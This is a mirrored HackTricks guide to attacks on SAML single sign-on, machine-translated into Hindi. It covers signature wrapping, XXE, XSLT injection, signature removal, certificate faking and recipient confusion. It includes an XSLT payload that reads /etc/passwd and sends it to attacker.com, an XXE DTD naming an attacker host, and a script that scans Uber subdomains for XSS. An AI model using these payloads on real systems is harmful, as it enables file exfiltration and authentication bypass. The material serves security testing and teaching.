Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-29 16:10:54 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/saml-attacks
History
Translator 81a6733314 Translated ['a.i.-exploiting/bra.i.nsmasher-presentation/README.md', 'a.
2024-02-04 16:44:21 +00:00
..
README.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 19:59:09 +00:00
saml-basics.md Translated ['a.i.-exploiting/bra.i.nsmasher-presentation/README.md', 'a. 2024-02-04 16:44:21 +00:00

README.md

SAML हमले

SAML हमले

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

हमलों का ग्राफिक

उपकरण

SAMLExtractor: एक उपकरण जो URL या URL की सूची ले सकता है और SAML consume URL वापस प्रिंट करता है।

XML राउंड-ट्रिप

XML में, XML का हस्ताक्षरित भाग मेमोरी में सहेजा जाता है, फिर कुछ एन्कोडिंग/डिकोडिंग की जाती है और हस्ताक्षर की जांच की जाती है। आदर्श रूप से यह एन्कोडिंग/डिकोडिंग डेटा को बदलना नहीं चाहिए लेकिन उस परिदृश्य के आधार पर, जांच किया गया डेटा और मूल डेटा समान नहीं हो सकता है।

उदाहरण के लिए, निम्नलिखित कोड की जांच करें:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

प्रोग्राम को REXML 3.2.4 या उससे पहले के संस्करण पर चलाने से निम्नलिखित आउटपुट मिलेगा:

First child in original doc: Y
First child after round-trip: Z

ऊपर दिए गए कार्यक्रम से मूल XML दस्तावेज़ को REXML ने इस प्रकार देखा:

और पार्सिंग और सीरियलाइजेशन के एक दौर के बाद इसे इस प्रकार देखा:

कमजोरी के बारे में और इसका दुरुपयोग कैसे करें, अधिक जानकारी के लिए:

XML Signature Wrapping Attacks

XML हस्ताक्षर वाले XML दस्तावेज़ आमतौर पर दो स्वतंत्र चरणों में प्रोसेस किए जाते हैं: हस्ताक्षर मान्यता और कार्य आह्वान (व्यापार तर्क). यदि दोनों मॉड्यूल डेटा पर अलग-अलग दृष्टिकोण रखते हैं, तो XML Signature Wrapping attacks (XSW) नामक एक नई श्रेणी की कमजोरियां होती हैं।
इन हमलों में आक्रमणकारी संदेश संरचना में परिवर्तन करता है जाली तत्वों को इंजेक्ट करके जो XML हस्ताक्षर को अमान्य नहीं करते. इस परिवर्तन का उद्देश्य संदेश को इस प्रकार बदलना है कि एप्लिकेशन तर्क और हस्ताक्षर मान्यता मॉड्यूल संदेश के अलग-अलग हिस्सों का उपयोग करें. परिणामस्वरूप, प्राप्तकर्ता XML हस्ताक्षर को सफलतापूर्वक मान्य करता है लेकिन एप्लिकेशन तर्क जाली तत्व को प्रोसेस करता है. इस प्रकार आक्रमणकारी इंटीग्रिटी सुरक्षा और XML हस्ताक्षर के मूल प्रमाणीकरण को दरकिनार कर देता है और मनमानी सामग्री इंजेक्ट कर सकता है।

SAML अनुरोध से:

XSW #1

एक आक्रमणकारी नया मूल तत्व जोड़ सकता है जहां हस्ताक्षर पाया जाता है। इसलिए, जब मान्यता प्रदाता हस्ताक्षर की अखंडता की जांच करता है तो यह देख सकता है कि उसे Response -> Assertion -> Subject की अखंडता की जांच करनी है, और यह लाल रंग में बुरे नए Response -> Assertion -> Subject पथ से भ्रमित हो सकता है और उसके डेटा का उपयोग कर सकता है।

XSW #2

#1 के साथ अंतर यह है कि इस्तेमाल किए गए हस्ताक्षर का प्रकार एक डिटैच्ड हस्ताक्षर है जहां XSW #1 में एक एनवेलपिंग हस्ताक्षर का उपयोग किया गया था।
ध्यान दें कि नया बुरा संरचना पहले की तरह ही है, अखंडता जांच के बाद व्यापार तर्क को भ्रमित करने की कोशिश कर रही है।

XSW #3

इस हमले में एक बुरा Assertion मूल assertion के समान स्तर पर बनाया गया है ताकि व्यापार तर्क को भ्रमित किया जा सके और बुरे डेटा का उपयोग किया जा सके।

XSW #4

XSW #4 #3 के समान है, सिवाय इसके कि इस मामले में मूल Assertion कॉपी किए गए Assertion का बच्चा बन जाता है।

XSW #5

XSW #5 में हस्ताक्षर और मूल Assertion तीन मानक कॉन्फ़िगरेशनों में से एक में नहीं हैं (enveloped/enveloping/detached). इस मामले में, कॉपी किया गया Assertion हस्ताक्षर को एनवेलप करता है।

XSW #6

XSW #6 अपने कॉपी किए गए Assertion को #4 और #5 के समान स्थान पर डालता है। यहां दिलचस्प बात यह है कि कॉपी किया गया Assertion हस्ताक्षर को एनवेलप करता है, जो बदले में मूल Assertion को एनवेलप करता है।

XSW #7

XSW #7 एक Extensions तत्व डालता है और कॉपी किए गए Assertion को एक बच्चे के रूप में जोड़ता है। Extensions एक मान्य XML तत्व है जिसकी स्कीमा परिभाषा कम प्रतिबंधात्मक है। इस श्वेत पत्र के लेखकों ने OpenSAML पुस्तकालय के जवाब में यह विधि विकसित की। OpenSAML ने स्कीमा मान्यता का उपयोग करके हस्ताक्षर मान्यता के दौरान इस्तेमाल की गई ID की मूल Assertion की ID से सही तुलना की। लेखकों ने पाया कि जहां कॉपी किए गए Assertions जिनकी ID मूल Assertion की ID के समान थी, वे कम प्रतिबंधात्मक स्कीमा परिभाषा वाले तत्व के बच्चे थे, वे इस विशेष प्रतिरोधी उपाय को दरकिनार करने में सक्षम थे।

XSW #8

XSW #8 एक और कम प्रतिबंधात्मक XML तत्व का उपयोग करता है XSW #7 में इस्तेमाल किए गए हमले के पैटर्न का एक विविधता करने के लिए। इस बार मूल Assertion कॉपी किए गए Assertion के बजाय कम प्रतिबंधात्मक तत्व का बच्चा है।

उपकरण

आप अनुरोध को पार्स करने, किसी भी XSW हमले को चुनने और उसे लॉन्च करने के लिए Burp एक्सटेंशन SAML Raider का उपयोग कर सकते हैं।

मूल पेपर

इस हमले के बारे में अधिक जानकारी के लिए मूल पेपर पढ़ें https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf

XXE

यदि आपको नहीं पता कि XXE किस प्रकार के हमले हैं, तो कृपया निम्नलिखित पृष्ठ पढ़ें:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

इस तथ्य के कारण कि SAML Responses डिफ्लेटेड और base64’d XML दस्तावेज़ होते हैं, हम SAML Response के रूप में भेजे गए XML दस्तावेज़ को मैनिपुलेट करके XXE के लिए परीक्षण कर सकते हैं। उदाहरण:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

टूल

आप Burp एक्सटेंशन SAML Raider का उपयोग करके SAML अनुरोध से POC उत्पन्न करने के लिए कर सकते हैं ताकि संभावित XXE संवेदनशीलताओं के लिए परीक्षण किया जा सके।

इस वार्ता को भी देखें: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

XSLT के बारे में अधिक जानकारी के लिए जाएँ:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Extensible Stylesheet Language Transformation (XSLT) एक Turing-complete भाषा है जो XML दस्तावेजों को HTML, JSON, या PDF जैसे अन्य दस्तावेज प्रकारों में परिवर्तित करने के लिए है। यहाँ एक महत्वपूर्ण पहलू यह है कि हमले के सफल होने के लिए एक वैध हस्ताक्षर की आवश्यकता नहीं है। इसका कारण यह है कि XSLT परिवर्तन डिजिटल हस्ताक्षर की सत्यापन के लिए प्रक्रिया किए जाने से पहले होता है। मूल रूप से, हमें हमले को प्रदर्शन करने के लिए एक हस्ताक्षरित SAML प्रतिक्रिया की आवश्यकता है, लेकिन हस्ताक्षर स्व-हस्ताक्षरित या अमान्य हो सकता है।

xslt

यहाँ आप इस प्रकार की संवेदनशीलताओं के लिए एक POC पा सकते हैं, इस खंड की शुरुआत में उल्लिखित hacktricks पृष्ठ पर आप पेलोड्स के लिए खोज सकते हैं।

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

उपकरण

आप Burp एक्सटेंशन SAML Raider का उपयोग करके SAML अनुरोध से POC उत्पन्न करने के लिए कर सकते हैं ताकि संभावित XSLT संवेदनशीलताओं के लिए परीक्षण किया जा सके।

इस वार्ता को भी देखें: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML हस्ताक्षर निष्कासन

हस्ताक्षर निष्कासन का उपयोग यह परीक्षण करने के लिए किया जाता है कि SAML कार्यान्वयन हस्ताक्षर तत्व के अभाव में कैसे व्यवहार करता है। जब हस्ताक्षर तत्व अनुपस्थित होता है, तो हस्ताक्षर सत्यापन चरण पूरी तरह से छोड़ा जा सकता है। यदि हस्ताक्षर की पुष्टि नहीं की जाती है, तो उन सभी सामग्रियों को जो आमतौर पर हस्ताक्षरित होती हैं, उन्हें हमलावर द्वारा बदला जा सकता है।

उपकरण

हस्ताक्षर निष्कासन SAML प्रतिक्रिया को इंटरसेप्ट करने के साथ शुरू होता है और फिर Remove Signatures पर क्लिक करता है। ऐसा करने से सभी हस्ताक्षर तत्व हटा दिए जाते हैं।

sig-exclusion

हस्ताक्षरों को हटाने के बाद, अनुरोध को लक्ष्य की ओर बढ़ने दें। यदि हस्ताक्षर सेवा द्वारा आवश्यक नहीं है

प्रमाणपत्र नकलीकरण

प्रमाणपत्र नकलीकरण यह परीक्षण करने की प्रक्रिया है कि क्या सेवा प्रदाता यह सत्यापित करता है कि एक विश्वसनीय पहचान प्रदाता ने SAML संदेश पर हस्ताक्षर किए हैं। SP और IdP के बीच विश्वास संबंध स्थापित होता है और हर बार जब SAML संदेश प्राप्त होता है तो इसे सत्यापित किया जाना चाहिए। इसका मतलब है कि एक स्व-हस्ताक्षरित प्रमाणपत्र का उपयोग करके SAML प्रतिक्रिया या दावे पर हस्ताक्षर करना।

उपकरण

Burp एक्सटेंशन SAML Raider का उपयोग किया जाएगा।
प्रमाणपत्र नकलीकरण करने के लिए, SAML प्रतिक्रिया को इंटरसेप्ट करने से शुरू करें।
यदि प्रतिक्रिया में हस्ताक्षर शामिल है, तो Send Certificate to SAML Raider Certs बटन का उपयोग करें।

send-cert

प्रमाणपत्र भेजने के बाद, हमें SAML Raider प्रमाणपत्र टैब में एक आयातित प्रमाणपत्र दिखाई देना चाहिए। वहां पहुंचने पर, हम आयातित प्रमाणपत्र को हाइलाइट करते हैं और Save and Self-Sign बटन दबाते हैं।

sent-cert

ऐसा करने से मूल प्रमाणपत्र की एक स्व-हस्ताक्षरित क्लोन उत्पन्न होती है। अब यह समय है कि बर्प के प्रॉक्सी में अभी भी रुके हुए इंटरसेप्ट किए गए अनुरोध पर वापस जाएं। पहले, XML हस्ताक्षर ड्रॉपडाउन मेनू से नए स्व-हस्ताक्षरित प्रमाणपत्र का चयन करें। फिर Remove Signatures बटन का उपयोग करके किसी भी मौजूदा हस्ताक्षरों को हटा दें। अंत में, (Re-)Sign Message या (Re-)Sign Assertion बटन का उपयोग करें (जो भी आपकी दी गई स्थिति में अधिक उपयुक्त हो)।

remove-sig

स्व-हस्ताक्षरित प्रमाणपत्र के साथ संदेश पर हस्ताक्षर करने के बाद, इसे भेज दें। यदि हम प्रमाणित करते हैं, तो हम जानते हैं कि हम अपने SAML संदेशों पर हस्ताक्षर कर सकते हैं। अपने SAML संदेशों पर हस्ताक्षर करने की क्षमता का मतलब है कि हम दावे में मानों को बदल सकते हैं और वे सेवा प्रदाता द्वारा स्वीकार किए जाएंगे।

टोकन प्राप्तकर्ता भ्रम / सेवा प्रदाता लक्ष्य भ्रम

टोकन प्राप्तकर्ता भ्रम / सेवा प्रदाता लक्ष्य भ्रम यह परीक्षण करता है कि क्या सेवा प्रदाता प्राप्तकर्ता को सत्यापित करता है। इसका मतलब है कि यदि प्रतिक्रिया किसी अन्य सेवा प्रदाता के लिए थी, तो वर्तमान सेवा प्रदाता को इसे नोटिस करना चाहिए और प्रमाणीकरण को अस्वीकार करना चाहिए।
प्राप्तकर्ता क्षेत्र SubjectConfirmationData तत्व का एक गुण है, जो SAML प्रतिक्रिया में विषय तत्व का एक बच्चा है।

SubjectConfirmationData तत्व अतिरिक्त डेटा निर्दिष्ट करता है जो विषय की पुष्टि करने की अनुमति देता है या विषय पुष्टि की क्रिया के परिस्थितियों को सीमित करता है। विषय पुष्टि तब होती है जब एक भरोसेमंद पक्ष दावे के विषय के बीच संबंध की पुष्टि करना चाहता है (यानी, प्रमाणित करने वाली इकाई)।

SubjectConfirmationData तत्व पर पाया गया प्राप्तकर्ता गुण एक URL है जो उस स्थान को निर्दिष्ट करता है जहां दावे को पहुंचाया जाना चाहिए। यदि प्राप्तकर्ता उस सेवा प्रदाता से अलग है जो इसे प्राप्त करता है, तो दावे को स्वीकार नहीं किया जाना चाहिए।

कैसे करें

SAML टोकन प्राप्तकर्ता भ्रम (SAML-TRC) के लिए हमें शोषण का प्रयास करने के लिए कुछ पूर्व शर्तें होनी चाहिए। पहले, हमें एक सेवा प्रदाता पर एक वैध खाता होना चाहिए। दूसरा, SP-Target को उसी पहचान प्रदाता द्वारा जारी किए गए टोकन स्वीकार करने चाहिए जो SP-Legit की सेवाएं देता है।

यदि शर्तें सच हैं तो हमला अपेक्षाकृत सरल है। हम SP-Legit को साझा पहचान प्रदाता के माध्यम से प्रमाणित करते हैं। फिर हम IdP से SP-Legit के लिए जाने वाली SAML प्रतिक्रिया को इंटरसेप्ट करते हैं। एक बार इंटरसेप्ट करने के बाद, हम SP-Legit के लिए इरादा SAML प्रतिक्रिया को SP-Target के बजाय भेजते हैं। यदि SP-Target दावे को स्वीकार करता है; हम खुद को SP-Legit के लिए उसी खाता नाम के साथ लॉग इन पाएंगे और SP-Target के संबंधित संसाधनों तक पहुंच प्राप्त करेंगे।

लॉगआउट कार्यक्षमता में XSS

([मूल शोध यहां देखें](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-sub

https://carbon-prototype.uberinternal.com:443/oidauth/logout

यह एक लॉगआउट पेज है, मैंने ऊपर दिए गए लिंक को खोला और यह मुझे निम्नलिखित पेज पर रीडायरेक्ट कर दिया।

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

सामूहिक शोषण

SAMLExtractor का उपयोग करते हुए जो यूआरएल की सूची ले सकता है और फिर आपको वापस कॉलबैक (SAML consume) यूआरएल देता है, मैंने uberinternal.com के सभी सबडोमेन्स को इस उपकरण में डालने का निर्णय लिया ताकि देख सकूँ कि क्या अन्य डोमेन्स भी उसी लाइब्रेरी का उपयोग कर रहे हैं और वहाँ थे।

जो मैंने अगला किया वह एक स्क्रिप्ट बनाना था जो कमजोर पेज oidauth/prompt को कॉल करता है और XSS का प्रयास करता है और अगर मेरा इनपुट प्रतिबिंबित होता है तो यह मुझे एक अच्छा कमजोर संदेश देता है।

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

संदर्भ

ये हमले https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/ से प्राप्त किए गए थे।
आप अतिरिक्त संसाधन और लेखन https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/ में पा सकते हैं।

AWS हैकिंग सीखें शून्य से नायक तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: